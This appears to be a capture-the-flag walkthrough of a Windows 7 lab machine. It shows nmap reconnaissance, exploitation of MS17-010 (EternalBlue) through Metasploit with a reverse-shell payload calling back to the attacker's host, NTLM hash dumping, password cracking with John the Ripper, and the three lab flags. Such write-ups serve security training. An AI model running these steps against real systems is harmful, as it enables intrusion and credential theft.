Got IP target 10.10.55.49
Recon
nmap -p- 10.10.55.49 -oN blue-nmap-ports
Nmap scan report for 10.10.55.49
Host is up (0.054s latency).
Not shown: 65526 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49158/tcp open unknown
49159/tcp open unknown
Nmap 7.94 scan initiated Sun Oct 29 03:58:57 2023 as:
nmap -sC -sV --script vuln -p135,139,445,3389,49152,49153,49154,49158,49159 --open -oN blue-nmap-deep1 10.10.55.49
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 10.10.55.49
Host is up (0.055s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ssl/ms-wbt-server?
|_ssl-ccs-injection: No reply from server (TIMEOUT)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Sun Oct 29 04:02:00 2023 -- 1 IP address (1 host up) scanned in 183.82 seconds
Weaponization
Exploit payload of ms17-010
msfconsole
msf6 > search ms17-010
Matching Modules
Name Disclosure Date Rank Check Description
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Chose 0 for name Blue room
set payload windows/x64/shell/reverse_tcp
Since it's windows
hostname -I
10.18.39.123
set LHOST 10.18.39.123
set RHOST 10.10.55.49
Tip can just type options rather than show options
Delivery
run
meterpreter > sysinfo
Computer : JON-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 0
Meterpreter : x64/windows
Priv Esc
post/multi/manage/shell_to_meterpreter
or just type session --upgrade 1
Or whatever number session you want to upgrade
meterpreter > getsystem
[-] Already running as SYSTEM
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
john --format=nt hashes --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3])
Remaining 1 password hash
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
alqfna22 (Jon)
1g 0:00:00:01 DONE (2023-10-29 04:34) 0.6711g/s 6845Kp/s 6845Kc/s 6845KC/s alr19882006..alpusidi
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
Flag 1 (Root Directory)
meterpreter > pwd
C:\Windows\system32
meterpreter > cd ../..
meterpreter > pwd
C:
meterpreter > ls
Listing: C:
Mode Size Type Last modified Name
040777/rwxrwxrwx 0 dir 2018-12-13 03:13:36 +0000 $Recycle.Bin
040777/rwxrwxrwx 0 dir 2009-07-14 05:08:56 +0000 Documents and Settings
040777/rwxrwxrwx 0 dir 2009-07-14 03:20:08 +0000 PerfLogs
040555/r-xr-xr-x 4096 dir 2019-03-17 22:22:01 +0000 Program Files
040555/r-xr-xr-x 4096 dir 2019-03-17 22:28:38 +0000 Program Files (x86)
040777/rwxrwxrwx 4096 dir 2019-03-17 22:35:57 +0000 ProgramData
040777/rwxrwxrwx 0 dir 2018-12-13 03:13:22 +0000 Recovery
040777/rwxrwxrwx 4096 dir 2023-10-29 04:20:39 +0000 System Volume Information
040555/r-xr-xr-x 4096 dir 2018-12-13 03:13:28 +0000 Users
040777/rwxrwxrwx 16384 dir 2019-03-17 22:36:30 +0000 Windows
100666/rw-rw-rw- 24 fil 2019-03-17 19:27:21 +0000 flag1.txt
000000/--------- 0 fif 1970-01-01 00:00:00 +0000 hiberfil.sys
000000/--------- 0 fif 1970-01-01 00:00:00 +0000 pagefile.sys
meterpreter > cat flag1.txt
flag{access_the_machine}
Flag 2 (Local Passwords Stored)
meterpreter > pwd
C:\Windows\System32\config
meterpreter > cat flag2.txt
flag{sam_database_elevated_access}
Flag 3 (Admin Data Store Area)
meterpreter > pwd
C:\Users\Jon\Documents
meterpreter > cat flag3.txt
flag{admin_documents_can_be_valuable}
